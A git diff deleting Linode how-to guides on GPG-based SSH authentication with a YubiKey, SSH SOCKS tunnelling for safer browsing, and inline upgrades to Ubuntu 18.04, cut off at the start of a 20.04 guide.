You have a fully functional Linode - - You have followed the [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guides, and updated your Linode with `sudo apt-get update && sudo apt-get upgrade`) - - You are familiar with the [command line](/cloud/guides/introduction-to-linux-concepts/#so-youre-staring-at-a-shell-prompt) - -You don't necessarily need to be familiar with [SSH public key authentication](/cloud/guides/use-public-key-authentication-with-ssh/) or [GPG encryption](https://en.wikipedia.org/wiki/GNU_Privacy_Guard), but an understanding of their operation will help you out if you run into problems. - -## Generate a GPG Keypair - -This section explains how to generate a new GPG keypair. If you already have one, you may skip these steps, as the next section will include instructions for how to create a subkey to use specifically for authentication. You will just need the 8-digit ID for your existing key to do so. -{{< note type="alert" >}} -As an additional security measure, this process may be undertaken on an offline (non network-connected) machine or single-use Virtual Machine (VM). After installing the pre-requisite packages and *only* the pre-requisite packages, disconnect it from the network and continue with the steps below. -{{< /note >}} - -All of these steps should be performed on a local machine, *not* your Linode. - -1. Install GPG: - - On Debian and its derivatives: - - sudo apt-get install gnupg2 - - On OS X: - - [GPGTools](https://gpgtools.org) provides the simplest implementation of GPG for OS X. Otherwise, you could run `brew install gnupg2` if you have [Homebrew](https://brew.sh). - - On other operating systems, this process should be fairly clear. GPG is likely already installed, but if it isn't, a quick internet search should give you the instructions you need. - -2. Open a command prompt and execute: - - gpg2 --gen-key - -3. When prompted to select the kind of key you want, select `(1) RSA and RSA`. - -4. When asked for a keysize, type `4096`. If you want to store your key on a YubiKey Neo or certain smartcards, you may be restricted to a 2048-bit key size, so ensure that you aware of limitations for your device, if applicable. - -5. Choose an expiration period that you think will be suitable for this key. **After that date, the key will no longer work, so choose carefully.** - -6. Enter your full name, email address, and a comment (if you want). Select `O` for 'Okay'. - -7. After looking over your shoulders for secret agents, enter a long and secure passphrase that will be used to encrypt your key in local storage. Write this down somewhere you know to be physically secure while your computer generates the keypair. - -Once this is done, your output should resemble the following: - - $ gpg2 --gen-key - Please select what kind of key you want: - (1) RSA and RSA (default) - (2) DSA and Elgamal - (3) DSA (sign only) - (4) RSA (sign only) - Your selection? 1 - RSA keys may be between 1024 and 4096 bits long. - What keysize do you want? (2048) 4096 - Requested keysize is 4096 bits - Please specify how long the key should be valid. - 0 = key does not expire - = key expires in n days - w = key expires in n weeks - m = key expires in n months - y = key expires in n years - Key is valid for? (0) 1y - Key expires at Sun Apr 9 18:27:05 2017 AEST - Is this correct? (y/N) y - - GnuPG needs to construct a user ID to identify your key. - - Real name: Your Name - Email address: you@yoursite.net - Comment: Test for GPG -> SSH - You selected this USER-ID: - "Your Name (Test for GPG -> SSH) " - - Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O - You need a Passphrase to protect your secret key. - - We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy. - gpg: key 71735D23 marked as ultimately trusted - public and secret key created and signed. - - pub 4096R/71735D23 2016-04-09 [expires: 2017-04-09] - Key fingerprint = 4B63 8069 E016 F6E9 35BA 24B9 FFDD B2DF 7173 5D23 - uid [ultimate] Your Name (Test for GPG -> SSH) - sub 4096R/693C5635 2016-04-09 [expires: 2017-04-09] - -This process has created a master GPG key and a subkey for encrypting messages and files. To authenticate with SSH, we need to generate a second subkey for authentication. - -### Generating the Authentication Subkey - -1. In a command prompt or terminal, type: - - gpg2 --expert --edit-key key-id - - Replace `key-id` with the eight-character string output from the key generation process. This will be found in the line beginning with `pub`. In the example above, the ID is `71735D23`. - -2. At the new `gpg> ` prompt, enter: - - addkey - -3. When prompted, enter your passphrase. - -4. When asked for the type of key you want, select: `(8) RSA (set your own capabilities)`. - -5. Enter `S` to toggle the 'Sign' action off. - -6. Enter `E` to toggle the 'Encrypt' action off. - -7. Enter `A` to toggle the 'Authenticate' action on. The output should now include `Current allowed actions: Authenticate`, with nothing else on that line. - -8. Enter `Q` to continue. - -9. When asked for a keysize, choose `4096`. The same limitation from Step 4 in the first section applies, so ensure your card/YubiKey can support this key size. - -10. Enter an expiration date, just as before. You should probably keep this the same as the first one. If you choose a lower expiration date, your main private key will continue to function but your SSH authentication will break on this date. - -11. When you're sure all of the information entered is correct, enter `y` at the `Really create? (y/N)` prompt to complete the process. - -12. Once the key is created, enter `quit` to leave the gpg prompt, and `y` at the prompt to save changes. - -Your terminal should now look like this: - - $ gpg2 --expert --edit-key 71735D23 - - Secret key is available. - - pub 4096R/71735D23 created: 2016-04-09 expires: 2017-04-09 usage: SC - trust: ultimate validity: ultimate - sub 4096R/693C5635 created: 2016-04-09 expires: 2017-04-09 usage: E - [ultimate] (1). Your Name (Test for GPG -> SSH) - - gpg> addkey - Key is protected. - - You need a passphrase to unlock the secret key for - user: "Your Name (Test for GPG -> SSH) " - 4096-bit RSA key, ID 71735D23, created 2016-04-09 - - Please select what kind of key you want: - (3) DSA (sign only) - (4) RSA (sign only) - (5) Elgamal (encrypt only) - (6) RSA (encrypt only) - (7) DSA (set your own capabilities) - (8) RSA (set your own capabilities) - Your selection? 8 - - Possible actions for a RSA key: Sign Encrypt Authenticate - Current allowed actions: Sign Encrypt - - (S) Toggle the sign capability - (E) Toggle the encrypt capability - (A) Toggle the authenticate capability - (Q) Finished - - Your selection? S - - Possible actions for a RSA key: Sign Encrypt Authenticate - Current allowed actions: Encrypt - - (S) Toggle the sign capability - (E) Toggle the encrypt capability - (A) Toggle the authenticate capability - (Q) Finished - - Your selection? E - - Possible actions for a RSA key: Sign Encrypt Authenticate - Current allowed actions: - - (S) Toggle the sign capability - (E) Toggle the encrypt capability - (A) Toggle the authenticate capability - (Q) Finished - - Your selection? A - - Possible actions for a RSA key: Sign Encrypt Authenticate - Current allowed actions: Authenticate - - (S) Toggle the sign capability - (E) Toggle the encrypt capability - (A) Toggle the authenticate capability - (Q) Finished - - Your selection? Q - RSA keys may be between 1024 and 4096 bits long. - What keysize do you want? (2048) 4096 - Requested keysize is 4096 bits - Please specify how long the key should be valid. - 0 = key does not expire - = key expires in n days - w = key expires in n weeks - m = key expires in n months - y = key expires in n years - Key is valid for? (0) 1y - Key expires at Sun Apr 9 18:49:58 2017 AEST - Is this correct? (y/N) y - Really create? (y/N) y - We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy. - - pub 4096R/71735D23 created: 2016-04-09 expires: 2017-04-09 usage: SC - trust: ultimate validity: ultimate - sub 4096R/693C5635 created: 2016-04-09 expires: 2017-04-09 usage: E - sub 4096R/48B9C23C created: 2016-04-09 expires: 2017-04-09 usage: A - [ultimate] (1). Your Name (Test for GPG -> SSH) - - gpg> quit - Save changes? (y/N) y - -### Secure Your GPG Key -{{< note type="alert" >}} -If you fail to back up or otherwise secure your key, any hardware failure will lead to you being unable to access your Linode with this key. If you lock out password access through SSH, you'll need to use [Lish](https://techdocs.akamai.com/cloud-computing/docs/access-your-system-console-using-lish) to regain access. -{{< /note >}} - -You should always have a backup of your private key in case something goes wrong and you end up locked out of everything that requires it. This private key, along with the instructions in this guide, will be enough to get your setup working again if you need to start afresh on a new computer. - -1. Back up your `~/.gnupg` folder with the following command, replacing `USB_DEVICE` with the name of your device: - - cp -r ~/.gnupg/ /Volumes/USB_DEVICE/ - - This assumes you have a storage device mounted at `/Volumes/USB_DEVICE/`. Different operating systems may use different naming conventions for this path. You can safely ignore any `Operation not supported on socket` warnings that appear when you enter this command. - -2. Back up your private key, replacing `key-id` with the eight-character key ID for your private key: - - gpg2 -a --export-secret-key key-id >> /Volumes/USB_DEVICE/key-id.master.key - -3. Back up your subkeys, replacing `key-id` with the eight-character key ID for each subkey: - - gpg2 -a --export-secret-subkeys key-id >> /Volumes/USB_DEVICE/.sub.key - -If something bad happens and you lose your keys, you can re-import them by overwriting the `~/.gnupg` directory with your copy, and using: - - gpg2 --allow-secret-key-import --import key-file - -Be sure to replace `key-file` with the location of each of your files. - -### Export Your Public Key - -If you're working on a VM or offline machine, you'll also need to export your public key to be reimported later: - - gpg2 -a --export key-id >> /Volumes/USB_DEVICE/key-id.public.key - -Be sure to replace `key-id` with your own key ID. - -You can reimport it with the ever-handy `gpg2 --import key-file` command. - -## Move Your Key to a Smartcard or YubiKey (Optional) -{{< note >}} -If you're using a brand new YubiKey, you'll need to enable OpenPGP Card / CCID Mode first. This can be done through the YubiKey Personalization Tool, or by running `ykpersonalise -m82`. `ykpersonalise` can be installed through your package manager. -{{< /note >}} - -### Secure Your Card - -It is assumed that you have already configured your card/YubiKey's (herein referred to as 'GPG device') owner information. It is highly recommended that you secure your card before you start this section. - -{{< note >}} -Some of these commands may ask for a PIN or Admin PIN. The default PIN is usually `123456`, and the default Admin PIN is usually `12345678`. If these don't work, contact the manufacturer or review online documentation. -{{< /note >}} - -1. Plug in the device and execute: - - gpg2 --card-edit - -2. Enable admin commands: - - admin - -3. Enter the password change menu: - - passwd - -4. Change the password to your device by selecting `2 - unblock PIN`. This will unblock your PIN, and prompt you to change it. This PIN will be required every time you want to access your GPG key (e.g. every time you authenticate with SSH), and has a limit of eight characters. - -5. Change the admin PIN by selecting `3 - change Admin PIN`. This PIN is required to make administrative changes, like in step 2, and has a limit of 6 characters. For optimum security, never store this PIN in a digital location, since it will be unnecessary for daily use of the YubiKey. - -6. Exit these menus by selecting `Q` and then typing `quit`. - -For reference, your window should resemble the following. This example is abbreviated: - - $ gpg2 --card-edit - gpg/card> admin - Admin commands are allowed - - gpg/card> passwd - gpg: OpenPGP card no. D0000000000000000000000000000000 detected - - 1 - change PIN - 2 - unblock PIN - 3 - change Admin PIN - 4 - set the Reset Code - Q - quit - - Your selection? 1 - PIN changed. - Your selection? 3 - PIN changed. - Your selection? q - - gpg/card> quit - -### Transfer Your Subkey - -1. Enter the key edit menu from a normal command prompt, replacing `key-id` with your own key ID: - - gpg2 --edit-key key-id - -2. Switch to the private key editor: - - toggle - -3. Select only the authentication subkey: - - key 2 - - Remember, if you have more subkeys this command should be changed as appropriate. - -4. Transfer the key: - - keytocard - -5. Select `(3) Authentication key` to store your key on the third slot of the device. If this is not an option, ensure that you've selected the appropriate subkey. - -6. Enter your passphrase. - -7. Type `save` to exit this menu. - -8. If you're working on a VM or offline machine, export the subkey stubs (pointers so GPG knows your subkeys are on the device): - - gpg -a --export-secret-subkeys key-id >> /Volumes/USB_DEVICE/key-id.stubs.gpg - - Be sure to substitute your own key ID for `key-id`. You can reimport these with an ordinary `gpg2 --import ` on your private machine. - -After all this, your output should resemble the following: - - $ gpg2 --edit-key 71735D23 - - Secret key is available. - - pub 4096R/71735D23 created: 2016-04-09 expires: 2017-04-09 usage: SC - trust: ultimate validity: ultimate - sub 4096R/693C5635 created: 2016-04-09 expires: 2017-04-09 usage: E - sub 4096R/48B9C23C created: 2016-04-09 expires: 2017-04-09 usage: A - [ultimate] (1) Your Name - - gpg> toggle - - sec 4096R/71735D23 created: 2016-04-09 expires: 2017-04-09 - ssb 4096R/693C5635 created: 2016-04-09 expires: never - ssb 4096R/48B9C23C created: 2016-04-09 expires: never - (1) Your Name - - gpg> key 2 - - sec 4096R/71735D23 created: 2016-04-09 expires: 2017-04-09 - ssb 4096R/693C5635 created: 2016-04-09 expires: never - ssb* 4096R/48B9C23C created: 2016-04-09 expires: never - (1) Your Name - - gpg> keytocard - Signature key ....: none - Encryption key....: none - Authentication key: none - - Please select where to store the key: - (3) Authentication key - Your selection? 3 - - You need a passphrase to unlock the secret key for - user: "Your Name " - 4096-bit RSA key, ID 71735D23, created 2016-04-09 - - gpg> save - -Congratulations! You've successfully transferred your authentication subkey to your device. -{{< note type="alert" >}} -If you weren't using a VM or offline machine, back up your local copies of the private keys, delete them, and ensure that the rest of the keys are still on the card. -{{< /note >}} - -## Serve Your GPG key Instead of an SSH key - -In this section, we'll configure your local machine so the connection between GPG and SSH works properly. - -Return to your local machine, import all of the appropriate GPG keys and insert the appropriate GPG device. Install GPG if you don't already have it on your local computer (e.g. if you performed all the above steps on a VM). - -1. Edit the `~/.bash_profile` file (or similar shell startup file) to include: - - **Linux:** - - {{< file "~/.bash_profile" >}} -if [ -f "${HOME}/.gpg-agent-info" ]; then - source "${HOME}/.gpg-agent-info" - export GPG_AGENT_INFO - export SSH_AUTH_SOCK - export SSH_AGENT_PID -else - eval $( gpg-agent --daemon --write-env-file ~/.gpg-agent-info ) -fi - -{{< /file >}} - - - **OS X** - - {{< file "~/.bash_profile" >}} -[ -f ~/.gpg-agent-info ] && source ~/.gpg-agent-info -if [ -S "${GPG_AGENT_INFO%%:*}" ]; then - export GPG_AGENT_INFO - export SSH_AUTH_SOCK - export SSH_AGENT_PID -else - eval $( gpg-agent --daemon --write-env-file ~/.gpg-agent-info ) -fi - -{{< /file >}} - - - This ensures that SSH can 'see' your GPG keys and automatically starts `gpg-agent` as needed. - -2. Edit or create `~/.gnupg/gpg-agent.conf`: - - {{< file "~/.gnupg/gpg-agent.conf" >}} -default-cache-ttl 600 -max-cache-ttl 7200 -enable-ssh-support -write-env-file ~/.gpg-agent-info - -{{< /file >}} - - - If you're on OS X and previously installed [GPGTools](https://gpgtools.org/), you can also add the line: - - pinentry-program /usr/local/MacGPG2/libexec/pinentry-mac.app/Contents/MacOS/pinentry-mac - - This allows you to use the PIN entry program provided by GPGTools. - -3. Restart the GPG agent: - - sudo killall gpg-agent - gpg-agent --daemon --write-env-file ~/.gpg-agent-info --enable-ssh-support - source ~/.gpg-agent-info - -## Add the New Key to Your Linode - -The steps from the previous sections will take your GPG keys and pipe them through SSH so they can be used for authentication. The result of this process is that you've created a new RSA public key for use with SSH authentication. - -1. On your local machine, extract the public key: - - ssh-add -L - - You should see a long output of alphanumeric characters. If you see `The agent has no identities`, try the steps to restart the GPG agent from above. - -2. Copy the whole string of output, including `ssh-rsa`. If you see multiple strings beginning with `ssh-rsa`, copy the one that ends with `cardno:`. It might look like this: - - ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDxAZn1IQ2cBxIbgwksWOfkAMKKLa3cUYMkbQBaR9Nw4CfoLs8xiu0Kb8oN4JH6p+E4C1MrlmFQuMZbVzs9JseV2pe6kw0xKQgLINopyF6letzCOEzPH7THicxyQc35vMIa8JTAMU6X3hpzzSUVSQGKDljj+c4XayTZCVQVg2Yqc67Vdm+4q4OQCU7Fns73KWmqwsdYtuyk74yPWjAvKkEaW7I9d3TLKVI8LLdzC6FoP2jJyGEoqxWEf2yL0eWelmJi/ikLJFSdXvdVCzvyI3dTeNqEdaisKQ0SJ7W0ysH1Os2hYyxBazWonMYI/T8Sh9J21xcWGmBumFTIcsbLEP17tojR4ttFq69ebtJIMkbPo0e+u4gWdvM44MyWsDm8jkKDuqNcduGIhF0dFY57niq4TEv5+Yvya2gwqBS4ttq/NlUAseL4zAcaP+kpDae4GMiRXwpFAiKA3ctn6/gf5QLvcAHMz62ASHeo9gG9t6n0eGUzBD/lv0qMsaYgmxfgIpqoU6Sr1w2EVp8TYjIVAaO/96Kljb2v9mB+0/BTO7gxJicxUNYQLOhEYdMnbr0bFNAG93hlUiq5eGTTG7nn1mre2OHWyGB8fZN9EukbMeFicgFTxgl3ddQawjn1Qb6u//ZpSCD++IH4HQCjz1fI9r+yZ+6CqfUrM0PI+dwAfcL4pw== cardno:000500001BDE - -3. Paste this into a new file (for example, `~/gpg-key.pub`) and save it. - -4. Copy the file to your Linode: - - scp ~/gpg-key.pub you@yoursite.net:/home/you/.ssh/gpg-key.pub - -5. Log into your Linode and append the key to the `authorized_hosts` file: - - ssh you@yoursite.net "echo `cat ~/.ssh/gpg-key.pub` >> ~/.ssh/authorized_keys" - -You're done! Disconnect, and all new logins should now use your GPG key instead of a passphrase. This SSH key can also be used with GitHub, Bitbucket, other SSH-based Version Control Systems, or anywhere else that accepts SSH keys. diff --git a/docs/guides/security/ssh/setting-up-an-ssh-tunnel-with-your-linode-for-safe-browsing/index.md b/docs/guides/security/ssh/setting-up-an-ssh-tunnel-with-your-linode-for-safe-browsing/index.md deleted file mode 100644 index e34a48a83c1..00000000000 --- a/docs/guides/security/ssh/setting-up-an-ssh-tunnel-with-your-linode-for-safe-browsing/index.md +++ /dev/null @@ -1,122 +0,0 @@ ---- -slug: setting-up-an-ssh-tunnel-with-your-linode-for-safe-browsing -title: Setting up an SSH Tunnel with Your Linode for Safe Browsing -description: 'Follow these instructions to launch a SOCKS server on your computer and browse the web securely using your Linode.' -authors: ["Arnaldo Ariel Arrieta"] -contributors: ["Arnaldo Ariel Arrieta"] -published: 2014-02-17 -keywords: ["socks", "proxy", "socks proxy", "tunnel", "tunnelling"] -tags: ["networking","ssh","security","proxy"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/networking/ssh/setting-up-an-ssh-tunnel-with-your-linode-for-safe-browsing/','/networking/socks-proxy/'] -external_resources: - - '[Wikipedia](http://en.wikipedia.org/wiki/SOCKS)' ---- - -![SSH Tunnel for Safe Browsing](Setting_up_an_SSH_Tunnel_with_Your_Linode_for_Safe_Browsing_smg.jpg) - -Often you may need to browse the web from a public WiFi access point, such as a coffee shop or library, where you do not know the security measures taken by the administrator. Your communications could be snooped on by a malicious user or even by the network owner. - -This guide will show you how to establish a secure connection for browsing the web through a tunnel between your computer and your Linode. With this method, you will set up a tunnel between your computer and your Linode. All your web traffic will be encrypted and forwarded from your Linode on to its final destination. - -It works by launching a SOCKS proxy server on your computer using SSH. It will listen on a local port and your browser will connect to the web using that service. - -## Prerequisites - -- A Linode running your favorite GNU/Linux flavor. -- The SSH service running in your Linode, with the forwarding option enabled (it is enabled by default). - - {{< note respectIndent=false >}} -If it is disabled, look for the parameter `AllowTcpForwarding no` in your server's **/etc/ssh/sshd\_config file**, and change it to **yes** before restarting the service. -{{< /note >}} - -- The ability to remotely access your server using SSH (by its host name or IP address). -- SSH client software on the computer you will use for browsing: a favorite SSH client for Linux or Mac OS X, PuTTY for Windows. - -## Launching the SOCKS Server - -The first step is to launch the SOCKS server and establish a connection to your Linode. - -### Linux and Mac OS X - -1. From a command line run: - - ssh -D 12345 user@host.domain - - {{< note respectIndent=false >}} -**-D 12345** tells SSH to run the SOCKS server on port 12345. - -You can choose any port number greater than 1024. Lower numbers could be used but you will need to log in as root, and make sure the port is not in use by another service. -{{< /note >}} - -2. You will be prompted for your password. After entering it, you will be logged in to your Linode. Minimize the terminal because you will not need it until you are finished with your browsing session. - -### Windows - -To establish a tunnel in Windows, you can use the free SSH client PuTTY. It can be downloaded from [this link](http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html). - -1. Launch PuTTY. On the first screen you will need to type your login information in the **Host Name (or IP address)** box. The **SSH protocol** and **Port** are checked by default. - - ![PuTTY main window.](1563-01-putty_basic.png) - -2. Under the **Connection** menu, under **SSH** select **Tunnels**. There you must enter the port you want (**12345**, for example) in **Source Port**, and check **Dynamic**. - - ![PuTTY - Options controlling port forwarding.](1564-02-putty_tunnels1.png) - -3. Then press the **Add** button. In the **Forwarded ports** text area, you will now see **D12345**. - - ![PuTTY - Options controlling port forwarding with forwarding configured.](1565-03-putty_tunnels2.png) - -4. Click the **Open** button. A new window asking for your password will appear. After you type your password you will be logged in to your Linode and the tunnel will be launched. Now you can minimize this window and go to the browser. - -## Setting Up Your Browser - -The last step is to configure your preferred browser to use the SOCKS server you just created. Here the example is for Firefox, but it is similar for all the major browsers. - -Before making any changes, a good idea is to take note of the current IP address you are using to connect to the web. Use a website like [WhatIsMyIp.com](http://www.whatismyip.com/) or [ifconfig.me](http://ifconfig.me/), and write down the IP that is shown. - -To set up the browser: - -1. In Firefox, go to the **Edit** menu and select **Preferences**. -2. Go to **Advanced** and from there to the **Network** tab. -3. In the **Connection** area click on **Settings**. - - ![Firefox preferences - Network Tab.](1566-04-firefox1.png) - -4. The window **Connection Settings** will open. Check **Manual Proxy Configuration**, and in **SOCKS Host** write your local host address (127.0.0.1) and the port you choose when you created the tunnel (**12345**, in this example). Make sure **SOCKS v5** is selected (it will be by default). - - ![Firefox preferences - Proxy Settings.](1567-05-firefox2.png) - -5. Click **OK** to accept the changes. - -Now you can check your IP again. If all is working correctly, you will see that the website will report a new IP address, the one of your Linode. - -From this point you can browse the web using your tunnel. When you finish, turn off the tunnel by logging off from your remote server (the Linux or Mac OS X console or PuTTY session you opened before). Note that you will need to set Firefox back to the `No proxy` setting as well. There are several plugins that can perform this task quickly for you, including [this one](https://addons.mozilla.org/en-US/firefox/addon/quickproxy/). - -## Some Considerations - -Keep these considerations in mind when you use SSH tunneling. - -- Although your web traffic will be encrypted and forwarded, your DNS requests will not. The DNS queries will be done on the public network, and then the web request will be forwarded to the secure tunnel. You can fix that in Firefox, and make it send the DNS traffic to your tunnel as well. - - 1. Open Firefox. Type **** in the Location Bar to display the browser's preferences. - 2. To be able to edit these settings, click the button **I'll be careful, I promise**. - - ![Firefox about:config warning message.](1568-06-dns1.png) - - 3. In the Search bar type **network.proxy.socks\_remote\_dns** and press `Return`. - 4. You will see that the default value for that preference is **false**. - - ![Firefox network.proxy.socks\_remote\_dns preference.](1569-07-dns2.png) - - 5. Double click **network.proxy.socks\_remote\_dns** to change its value to **true**. The whole line will change to bold text, and the status column to **user select**, indicating you modified its default value. - - ![Firefox network.proxy.socks\_remote\_dns value changed.](1570-08-dns3.png) - - 6. Leave the `about:config window` by typing any URL in the location bar or closing Firefox. - -- If the access to SSH is blocked in the public network you are using, it will not be possible to establish the tunnel. A workaround for this is to run your SSH server on a different port, more likely to be open; for example port 80 (HTTP). -- If you are already in a public network that blocks your access to SSH, to edit the server settings you can use the [Lish console](https://techdocs.akamai.com/cloud-computing/docs/access-your-system-console-using-lish). -- Sometimes, the traffic through the tunnel could be a bit slower than browsing the web without it; but remember, it's a small price to pay when your privacy is at risk. -- This is a simple and quick way to establish a secure connection for web browsing, a kind of “poor man's VPN” solution. -- If you often access the web using untrusted public networks or if you need to secure other applications and not just the browser, then this method will fall short and you will need to set up a VPN on your server. Take a look at one of our [OpenVPN](/cloud/guides/networking/vpn/) guides for instructions about that topic. diff --git a/docs/guides/security/upgrading/upgrade-to-ubuntu-18-04/index.md b/docs/guides/security/upgrading/upgrade-to-ubuntu-18-04/index.md deleted file mode 100644 index c72f00f5f7c..00000000000 --- a/docs/guides/security/upgrading/upgrade-to-ubuntu-18-04/index.md +++ /dev/null @@ -1,198 +0,0 @@ ---- -slug: upgrade-to-ubuntu-18-04 -title: "Inline Upgrade to Ubuntu 18.04 LTS (Bionic Beaver)" -title_meta: "How to Upgrade to Ubuntu 18.04 LTS (Bionic Beaver)" -description: 'This guide provides you with step-by-step instructions on how to upgrade your Linux system to the latest LTS (Long Term Support) version of Ubuntu - 18.04 LTS.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2018-04-27 -modified: 2021-10-26 -keywords: ["upgrading", "ubuntu", "18.04","bionic beaver"] -tags: ["security","ubuntu"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -relations: - platform: - key: how-to-upgrade-ubuntu - keywords: - - distribution: Ubuntu 18.04 -aliases: ['/security/upgrading/upgrade-to-ubuntu-18-04/'] -image: upgrade-ubuntu-18-title.jpg ---- - -Ubuntu 18.04 is a Long-Term Support (LTS) release that is supported by Canonical until April 2023. This guide shows how to upgrade your Linode from Ubuntu 16.04 (Xenial Xerus) or Ubuntu 17.10 (Artful Aardvark) to Ubuntu 18.04 (Bionic Beaver). -{{< note type="alert" >}} -Inline distribution upgrades can yield unpredictable results. Before continuing, read through our [Upgrading to the Latest Distribution (Clean Install)](/cloud/guides/manually-upgrading-to-latest-distribution-version/) guide to learn more about your upgrade options, including performing a clean install of the latest distribution version. - -The upgrade may be incomplete or your system may be corrupted if your internet connection is interrupted. Use [Lish](https://techdocs.akamai.com/cloud-computing/docs/access-your-system-console-using-lish) or [Glish](https://techdocs.akamai.com/cloud-computing/docs/access-your-desktop-environment-using-glish) to perform this upgrade in a stable environment that does not rely on an active internet connection to your Linode. - -{{< /note >}} -{{< note >}} -If you are upgrading from Ubuntu 17.04 you must first upgrade to Ubuntu 17.10. -{{< /note >}} - -## Prepare to Upgrade to Ubuntu 18.04 - -The steps required in this guide require root privileges. Be sure to run the steps below as **root** or with the `sudo` prefix. For more information on privileges see our [Users and Groups](/cloud/guides/linux-users-and-groups) guide. - -In order to prepare your Linode for upgrade, the following steps guide you to: - -1. Install updates for Ubuntu 16.04. - -2. Backup your data. - -3. Ensure that the kernel version you're using is the latest. - -4. Stop non-critical services. - -5. Start a LISH session to ensure that the installation is not interrupted. - -### Install Available Updates - -Update package lists and install all updates: - - apt update && apt upgrade - -### Back Up Your Linode - -It's a good idea to back up your Linode before performing a major upgrade. That way, you can restore from backup if anything goes wrong during the upgrade process. If you subscribe to the [Linode Backup Service](https://techdocs.akamai.com/cloud-computing/docs/backup-service), we recommend that you [take a manual snapshot](https://techdocs.akamai.com/cloud-computing/docs/take-a-manual-snapshot) before upgrading to Ubuntu 18.04 LTS. If you use another backup service or application, we recommend that you make a manual backup before continuing. - -### Check Your Kernel - -Verify that your Linode is using the latest supported kernel. See [Apply Kernel Updates](https://techdocs.akamai.com/cloud-computing/docs/monitor-and-maintain-a-compute-instance#apply-kernel-updates) for more information. - -### Stop Services - -We recommend that you stop as many services as possible before upgrading to Ubuntu 18.04 LTS. This includes web server daemons (Apache and NGINX), database servers (PostgreSQL and MySQL), and any other non-critical services. - -1. Get a list of services currently running on your system: - - systemctl | grep running - -2. To stop a service, enter the following command, replacing `apache2` with the name of the service you want to stop: - - systemctl stop apache2 - -You are now ready to install Ubuntu 18.04 LTS on your Linode. - -## Upgrade from Ubuntu 16.04 LTS to Ubuntu 18.04 LTS - -Remember to perform these steps in a Lish or Glish session: - -1. Install the `update-manager-core` package: - - apt install update-manager-core - -2. Open `/etc/update-manager/release-upgrades` and verify that the `Prompt` value is set to `lts` on Ubuntu 16.04 or `normal` on Ubuntu 17.10: - - {{< file "/etc/update-manager/release-upgrades" >}} -# Default behavior for the release upgrader. - -[DEFAULT] -# Default prompting behavior, valid options: -# -# never - Never check for a new release. -# normal - Check to see if a new release is available. If more than one new -# release is found, the release upgrader will attempt to upgrade to -# the release that immediately succeeds the currently-running -# release. -# lts - Check to see if a new LTS release is available. The upgrader -# will attempt to upgrade to the first LTS release available after -# the currently-running one. Note that this option should not be -# used if the currently-running release is not itself an LTS -# release, since in that case the upgrader won't be able to -# determine if a newer release is available. -Prompt=lts - -{{< /file >}} - -1. You're now ready to begin the upgrade to Ubuntu 18.04 LTS. - - do-release-upgrade - - Follow the on-screen instructions to complete the installation process. - -2. Because Linode offers internal package mirrors for Ubuntu, you may see some combination of the following messages: - - * **No valid mirror found** - - {{< output >}} -While scanning your repository information no mirror entry for the -upgrade was found. This can happen if you run an internal mirror or -if the mirror information is out of date. - -Do you want to rewrite your 'sources.list' file anyway? If you choose -'Yes' here it will update all 'trusty' to 'xenial' entries. -If you select 'No' the upgrade will cancel. - -Continue [yN] -{{< /output >}} - - Type `y` and **Enter** to continue. - - * **Packages no longer supported** - - {{< output >}} -3 installed packages are no longer supported by Canonical. You can -still get support from the community. - -2 packages are going to be removed. 91 new packages are going to be -installed. 346 packages are going to be upgraded. - -You have to download a total of 239 M. This download will take about -30 minutes with a 1Mbit DSL connection and about 9 hours with a 56k -modem. - -Fetching and installing the upgrade can take several hours. Once the -download has finished, the process cannot be canceled. - - Continue [yN] Details [d] -{{< /output >}} - - Press `d` for more details (then `q` to exit the details), or `y` to continue. - - * **Configuring openssh-server**: Press enter to choose `keep the local version currently installed`. - - ![Configuring openssh-server message](openssh-server-message.png) - - * **Remove obsolete packages?**: Enter `y` - -5. The upgrade requires a reboot. Enter `y` to continue: - - {{< output >}} -System upgrade is complete. - -Restart required - -To finish the upgrade, a restart is required. -If you select 'y' the system will be restarted. - -Continue [yN] -{{< /output >}} - -6. Once the system has rebooted, verify that it's running Ubuntu 18.04: - - lsb_release -a - -7. You should see output that resembles the following: - - {{< output >}} -No LSB modules are available. -Distributor ID: Ubuntu -Description: Ubuntu 18.04 LTS -Release: 18.04 -Codename: bionic -{{< /output >}} - -Your Linode is now running Ubuntu 18.04 LTS. - -## Networking - -[Netplan](https://netplan.io/) is used to configure networking in Ubuntu 18.04 and later. Ubuntu Server is packaged with `systemd-networkd` as the [backend](https://netplan.io/design#design-overview) for Netplan, while NetworkManager is used as the Netplan backend in Ubuntu Desktop. The `ifupdown` package has been deprecated, and `/etc/network/interfaces` is no longer used, but it's still possible to configure static networking with `/etc/systemd/network/*.network` files. - -Once you have upgraded to Ubuntu 18.04 or later from an earlier version, you should run the following command to enable `systemd-networkd`: - - systemctl enable systemd-networkd - -## Upgrading from Previous Ubuntu Releases - -If your Linode is running a release of Ubuntu older than 16.04 LTS, use the upgrade guides in the [Upgrading section](/cloud/guides/security/upgrading) to upgrade to Ubuntu 16.04 LTS first. You may then upgrade your Linode to Ubuntu 18.04 LTS. diff --git a/docs/guides/security/upgrading/upgrade-to-ubuntu-20-04/index.md b/docs/guides/security/upgrading/upgrade-to-ubuntu-20-04/index.md deleted file mode 100644 index 01b9d9f332e..00000000000 --- a/docs/guides/security/upgrading/upgrade-to-ubuntu-20-04/index.md +++ /dev/null @@ -1,193 +0,0 @@ ---- -slug: upgrade-to-ubuntu-20-04 -title: "Inline Upgrade to Ubuntu 20.04 LTS (Focal Fossa)" -title_meta: "How to Upgrade to Ubuntu 20.04 LTS (Focal Fossa)" -description: "A how-to guide for performing an inline upgrade to Ubuntu 20.04 LTS (Focal Fossa)" -authors: ["Linode"] -contributors: ["Linode"] -published: 2021-12-30 -keywords: ["upgrading", "ubuntu", "20.04","focal 